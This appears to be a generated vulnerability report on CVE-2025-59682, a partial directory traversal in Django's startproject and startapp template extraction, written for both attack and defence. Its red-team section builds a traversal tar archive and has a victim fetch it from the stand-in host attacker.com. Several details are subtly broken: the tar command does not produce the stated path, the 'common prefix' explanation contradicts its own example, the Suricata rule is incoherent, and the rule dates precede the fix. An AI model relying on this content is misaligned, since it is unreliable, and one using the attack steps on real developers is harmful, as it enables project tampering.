CVE-2025-59682
Executive Summary
CVE-2025-59682 is a partial directory traversal vulnerability in Django's django.utils.archive.extract() function, which is used by the startapp --template and startproject --template commands. The vulnerability allows an attacker to craft a malicious archive (e.g., .tar, .zip) where file paths share a common prefix with the target extraction directory, enabling files to be written outside the intended directory. This can lead to arbitrary file write within the constraints of the common prefix, potentially overwriting critical application files or injecting malicious code.
The vulnerability affects Django versions 4.2 before 4.2.25, 5.1 before 5.1.13, and 5.2 before 5.2.7. The CVSS score is 3.1 (Low), as exploitation requires user interaction (e.g., a developer extracting a malicious template archive) and is limited by the common prefix constraint. No public proof-of-concept (PoC) or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Django is a widely used Python web framework distributed via PyPI. This vulnerability impacts the supply chain when developers use startapp --template or startproject --template with untrusted archive files. An attacker could inject malicious code into a project by crafting a template archive that writes files outside the intended directory, potentially leading to remote code execution if the overwritten files are executed (e.g., settings.py, urls.py). Organizations should verify the integrity of template archives and ensure they are obtained from trusted sources.
CVSS Breakdown & Threat Level
- CVSS Score: 3.1 (Low)
- Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
- Attack Vector (AV): Local (L) – Requires local access to the file system.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): Required (R) – Victim must extract a malicious archive.
- Scope (S): Unchanged (U) – Vulnerability does not affect other components.
- Confidentiality (C): None (N) – No data exposure.
- Integrity (I): Low (L) – Limited file write capability.
- Availability (A): None (N) – No denial of service.
Threat Level: Low. Exploitation requires user interaction and is limited by the common prefix constraint. However, in a development environment, a malicious template archive could lead to code injection or configuration tampering.
Deep Dive & Mechanics
The vulnerability resides in the django.utils.archive.extract() function, which is used to extract template archives for startapp and startproject commands. The function extracts files from an archive (e.g., .tar, .zip) into a target directory. The flaw occurs when file paths in the archive share a common prefix with the target directory. For example, if the target directory is /tmp/project, a file path like /tmp/project/../malicious.py would be normalized to /tmp/malicious.py, escaping the target directory. However, the vulnerability is "partial" because it only works when the file path starts with the same prefix as the target directory.
The root cause is insufficient validation of extracted file paths. The function does not check whether the resolved path (after normalization) still resides within the target directory. This allows an attacker to craft an archive with paths like target_dir/../outside_file.py to write files outside the intended location.
Attack Scenario:
- An attacker creates a malicious archive (e.g.,
malicious_template.tar) containing a file with a path likemyproject/../settings.py. - The attacker distributes the archive via a public repository or social engineering.
- A developer runs
django-admin startproject --template=malicious_template.tar myproject. - The
extract()function extracts the archive, writingsettings.pyto a directory outsidemyproject, potentially overwriting the project's actualsettings.py.
Vulnerable vs. Patched Code
Vulnerable Code (Django < 4.2.25, < 5.1.13, < 5.2.7):
# django/utils/archive.py (simplified)
def extract(self, path, to_path):
for member in self.getmembers():
member_path = os.path.join(to_path, member.name)
# No validation of member_path relative to to_path
self._extract_member(member, member_path)
Patched Code (Django 4.2.25, 5.1.13, 5.2.7):
# django/utils/archive.py (simplified)
import os
def extract(self, path, to_path):
to_path = os.path.realpath(to_path)
for member in self.getmembers():
member_path = os.path.realpath(os.path.join(to_path, member.name))
if not member_path.startswith(to_path + os.sep):
raise ValueError("Archive member path is outside the target directory")
self._extract_member(member, member_path)
The patch uses os.path.realpath() to resolve symlinks and normalize paths, then checks that the resolved member path starts with the resolved target directory path. This prevents directory traversal.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Python 3.x with Django < 4.2.25, < 5.1.13, or < 5.2.7.
- Ability to create a malicious archive.
Step 1: Create a Malicious Archive
# Create a directory structure that exploits the vulnerability
mkdir -p malicious_template
cd malicious_template
echo "malicious content" > ../outside_file.txt
# Create a tar archive with a path that shares a common prefix
tar -cf ../malicious_template.tar --transform='s|../outside_file.txt|myproject/../outside_file.txt|' ../outside_file.txt
cd ..
Step 2: Host the Archive
# Host on a local server or distribute via email
python3 -m http.server 8000
Step 3: Trigger Extraction
# Victim runs:
django-admin startproject --template=http://attacker.com/malicious_template.tar myproject
Expected Result: The file outside_file.txt is written to the parent directory of myproject, demonstrating directory traversal.
Blue Team (Defense & Detection)
Detection:
- Monitor for
django-admin startprojectorstartappcommands with--templatepointing to external URLs. - Audit template archives for suspicious file paths (e.g., containing
..). - Use file integrity monitoring (FIM) to detect unexpected file writes outside project directories.
Prevention:
- Apply the patch by upgrading Django to the latest version.
- Restrict network access to only trusted template sources.
- Use a sandboxed environment for template extraction.
Indicators of Compromise (IOCs)
- File Paths: Archives containing paths with
../or other traversal sequences. - Network Connections: Outbound connections to untrusted servers when using
--templatewith a URL. - File System Changes: Unexpected files written outside the intended project directory (e.g.,
/tmp/project/../malicious.py). - Process Anomalies:
django-adminprocesses with unusual arguments.
Detection Engineering
YARA Rule
rule CVE_2025_59682_Django_Traversal {
meta:
description = "Detects malicious archives exploiting CVE-2025-59682"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-59682"
strings:
$traversal = /\.\.\// nocase
$tar_magic = { 75 73 74 61 72 } // "ustar" magic bytes
$zip_magic = { 50 4B 03 04 } // ZIP magic bytes
condition:
($tar_magic or $zip_magic) and #traversal > 0
}
Sigma Rule
title: Django Template Archive Directory Traversal
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects extraction of archives with directory traversal patterns via Django admin commands
author: Valters IT
date: 2025/04/10
logsource:
category: process_creation
product: linux
detection:
selection:
Image|endswith: '/django-admin'
CommandLine|contains|all:
- 'startproject'
- '--template'
condition: selection
falsepositives:
- Legitimate use of templates with nested directories
level: medium
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-59682 Django Template Archive Download"; flow:to_server; content:"django-admin"; http_client_body; content:"startproject"; http_client_body; content:"--template"; http_client_body; classtype:attempted-user; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Django to version 4.2.25, 5.1.13, or 5.2.7 (or later).
- If upgrade is not possible, avoid using
--templatewith untrusted archives. - Manually inspect any template archives before extraction.
Long-Term Measures:
- Implement a security policy for using third-party templates.
- Use a dedicated, isolated environment for project scaffolding.
- Regularly audit dependencies and apply security patches.
Workaround:
- For critical systems, disable the
startappandstartprojectcommands or restrict their usage via custom management commands.
Report generated by Valters IT DevSecOps & CTI Framework. This analysis is for authorized security testing and defensive purposes only.